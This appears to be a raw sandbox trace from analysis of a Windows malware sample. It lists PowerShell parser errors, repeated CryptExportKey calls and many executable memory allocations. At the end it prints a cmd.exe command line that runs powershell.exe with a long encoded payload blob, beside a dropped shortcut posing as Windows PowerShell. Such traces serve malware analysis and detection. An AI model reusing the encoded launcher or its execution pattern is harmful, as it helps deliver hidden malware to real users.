console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: undException
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: Bad numeric constant: 9Mb.
console_handle: 0x000003f7
1 1 0

WriteConsoleW

 buffer: At line:4 char:4
console_handle: 0x00000403
1 1 0

WriteConsoleW

 buffer: + 9Mb <<<< 2ux6slrOhvexmAQwvD2vQ08sF7tMtZkEe4A29vKe++YoMAE9iJMMEV1fCkhYIyxUcNNK
console_handle: 0x0000040f
1 1 0

WriteConsoleW

 buffer: 8kMSHu2p
console_handle: 0x0000041b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (9Mb:String) [], ParentContainsErro
console_handle: 0x00000427
1 1 0

WriteConsoleW

 buffer: rRecordException
console_handle: 0x00000433
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : BadNumericConstant
console_handle: 0x0000043f
1 1 0

WriteConsoleW

 buffer: Bad numeric constant: 9Mb.
console_handle: 0x000007b3
1 1 0

WriteConsoleW

 buffer: At line:5 char:4
console_handle: 0x000007bf
1 1 0

WriteConsoleW

 buffer: + 9Mb <<<< 2ux6slrOhvexmAQwvD2vQ08sF7tMtZkEe4A29vKe++YoMAE9iJMMEV1fCkhYIyxUcNNK
console_handle: 0x000007cb
1 1 0

WriteConsoleW

 buffer: 8kMSHu2p
console_handle: 0x000007d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (9Mb:String) [], ParentContainsErro
console_handle: 0x000007e3
1 1 0

WriteConsoleW

 buffer: rRecordException
console_handle: 0x000007ef
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : BadNumericConstant
console_handle: 0x000007fb
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635208
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635048
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635048
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635048
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635908
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635a48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635d88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635cc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00635cc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d35b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 1835008
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a30000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02bb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2620
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x717e1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f2a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2620
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x717e2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02072000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02bb1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02bb2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02073000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02074000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f2b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02075000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02076000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b71000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b72000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b73000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b74000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b75000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b76000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b77000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b78000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b79000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b7a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b7b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b7c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b7d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b7e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b7f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b81000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b83000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\system32\cmd.exe" /c powershell.exe $kNko = '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